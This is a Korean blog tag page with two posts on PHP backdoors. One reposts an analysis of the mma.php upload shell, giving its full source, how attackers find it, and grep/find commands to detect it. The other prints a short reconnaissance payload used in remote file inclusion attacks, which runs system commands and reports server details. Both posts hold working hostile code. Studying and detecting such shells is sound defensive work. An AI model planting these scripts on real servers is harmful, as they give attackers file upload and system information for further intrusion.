'php_uname'에 해당되는 글 2건

  1. 2012.04.02 Analysis on mma.php Backdoor Shell
  2. 2009.12.05 Remote Include PHP 소스
2012. 4. 2. 18:38

Analysis on mma.php Backdoor Shell

All right guys, today let’s have a look on a very common backdoor shell today that allows an attacker to upload arbitrary files on the web server. The name of this shell is mma.php and is commonly named or uploaded in the websites I’ve been inspecting for possible backdoor uploads by using the power of Google dorks.

My first encounter with this backdoor shell was like two years ago and I was still a seminarian during that time. I decided to write about it because it is still used by some defacers or attackers. Here is the script:

<?php echo ‘<b><br><br>’.php_uname().’<br></b>’; echo ‘<form action=”" method=”post” enctype=”multipart/form-data” name=”uploader” id=”uploader”>’; echo ‘<input type=”file” name=”file” size=”50″><input name=”_upl” type=”submit” id=”_upl” value=”Upload”></form>’; if( $_POST['_upl'] == “Upload” ) {     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo ‘<b>uplod d0n3 in SAME file // Th3 MMA \\</b><br><br>’; }     else { echo ‘<b>Upload GAGAL !!!</b><br><br>’; } } ?>

And this is how it looks like:

It echos the kernel version because of the php_uname() function. At least we know a php function that can be used to find this backdoor shell. So what makes this backdoor shell risky? Well like I said, it allows the attacker to upload arbitrary files which means, he can host his scripts, upload more backdoor shells, host other php files. Mma.php is one of the backdoor shells that doesn’t use shell_exec to avoidother antivirus or rootkit hunters from detecting it as a suspicious file.

If the file uploading is successful, it echos “uplod d0n3 in SAME file // Th3 MMA \” or else it echos “Upload GAGAL !!!”, thus if Google caches the page, it also allows the attacker to dork these keywords to find this backdoor shell.

With most attackers using the name mma.php, it allows other Google dorkers to search for this file by using inurl:”mma.php” for example. In my recent researches about this backdoor shell, most attackers usually upload it in the /image file directory which some web servers allow directory listing, allowing the attackers to view the backdoor shell easier.

To locate this backdoor shell, you just need to issue these commands in your terminal:

grep -Rn “php_uname *(” /var/www

find / -name mma.php

Be safe guys!


출처 : theprojectxblog.net



Trackback 0 Comment 0
2009. 12. 5. 02:19

Remote Include PHP 소스

remote include에 쓰인 이미지 확장자로 된 php파일

 

01. <?
02.echo "ALBANIA<br>";
03.$alb = @php_uname();
04.$alb2 = system(uptime);
05.$alb3 = system(id);
06.$alb4 = @getcwd();
07.$alb5 = getenv("SERVER_SOFTWARE");
08.$alb6 = phpversion();
09.$alb7 = $_SERVER['SERVER_NAME'];
10.$alb8 = gethostbyname($SERVER_ADDR);
11.$alb9 = get_current_user();
12.$os = @PHP_OS;
13.echo "os: $os<br>";
14.echo "uname -a: $alb<br>";
15.echo "uptime: $alb2<br>";
16.echo "id: $alb3<br>";
17.echo "pwd: $alb4<br>";
18.echo "user: $alb9<br>";
19.echo "phpv: $alb6<br>";
20.echo "SoftWare: $alb5<br>";
21.echo "ServerName: $alb7<br>";
22.echo "ServerAddr: $alb8<br>";
23.echo "UNITED ALBANIANS ...<br>";
24.exit;
25.?>
 

Trackback 0 Comment 0